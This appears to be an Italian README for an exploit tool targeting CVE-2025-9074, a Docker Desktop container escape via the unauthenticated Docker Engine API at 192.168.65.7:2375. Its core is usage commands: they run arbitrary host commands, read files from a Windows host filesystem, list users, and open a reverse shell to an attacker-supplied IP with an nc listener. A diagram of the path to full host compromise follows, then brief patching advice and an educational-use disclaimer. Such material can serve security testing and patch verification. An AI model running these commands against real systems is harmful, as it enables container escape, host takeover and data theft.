
Exploit proof of concept per CVE-2025-9074 - Fuga dal contenitore tramite API Docker Engine non autenticata che interessa Docker Desktop < 4.44.3 su Windows e macOS (CVSS 9.3)
Exploit Proof of Concept per CVE-2025-9074 - una vulnerabilità critica di fuga dal contenitore in Docker Desktop che consente l'accesso non autenticato all'API del motore Docker.
| Proprietà | Valore |
|---|---|
| CVE ID | CVE-2025-9074 |
| Punteggio CVSS | 9.3 (Critico) |
| Software Affetto | Docker Desktop < 4.44.3 |
| Piattaforme Affette | Windows, macOS (Linux non affetto) |
| Versione Corretta | Docker Desktop 4.44.3+ |
| Scopritori | Felix Boulet, Philippe Dugré |
| Data di Scoperta | Mid-2025 |
| Data della Patch | August 20, 2025 |
La vulnerabilità consente ai container in esecuzione su Docker Desktop di accedere all'API del motore Docker all'indirizzo http://192.168.65.7:2375 senza autenticazione. Ciò si verifica indipendentemente da:
L'API del motore Docker è stata esposta su un socket TCP accessibile dall'interno dei container, consentendo:
pip3 install requests
# Execute a command on the host
python3 exploit.py -u http://192.168.65.7:2375 -m cmd -c "whoami"
# Read files from Windows host
python3 exploit.py -u http://192.168.65.7:2375 -m cmd -c "cat /hostfs/mnt/c/Users/Administrator/Desktop/root.txt"
# List users on Windows
python3 exploit.py -u http://192.168.65.7:2375 -m cmd -c "ls -la /hostfs/mnt/c/Users"
# Terminal 1: Set up listener
nc -lvnp 4444
# Terminal 2: Execute exploit
python3 exploit.py -u http://192.168.65.7:2375 -m reverse -l <YOUR_IP> -p 4444
# Once connected, host filesystem is at: /hostfs
# If you already have access to a container
curl http://192.168.65.7:2375/version
graph TD
A[Malicious Container] -->|No Auth Required| B[Docker Engine API<br/>192.168.65.7:2375]
B -->|Create Container| C[Privileged Container]
C -->|Mount Host FS| D[Full Host Access]
D -->|Read/Write| E[Compromise System]
Aggiorna immediatamente a Docker Desktop 4.44.3 o successivo.
# Check your Docker Desktop version
docker --version
# Update Docker Desktop
# Windows: Download from https://desktop.docker.com/win/main/amd64/Docker%20Desktop%20Installer.exe
# macOS: Download from https://desktop.docker.com/mac/main/amd64/Docker.dmg
Se l'aggiornamento immediato non è possibile:
Questo strumento è fornito solo per scopi educativi e di test di sicurezza autorizzati.
Licenza MIT - Vedi il file LICENSE per i dettagli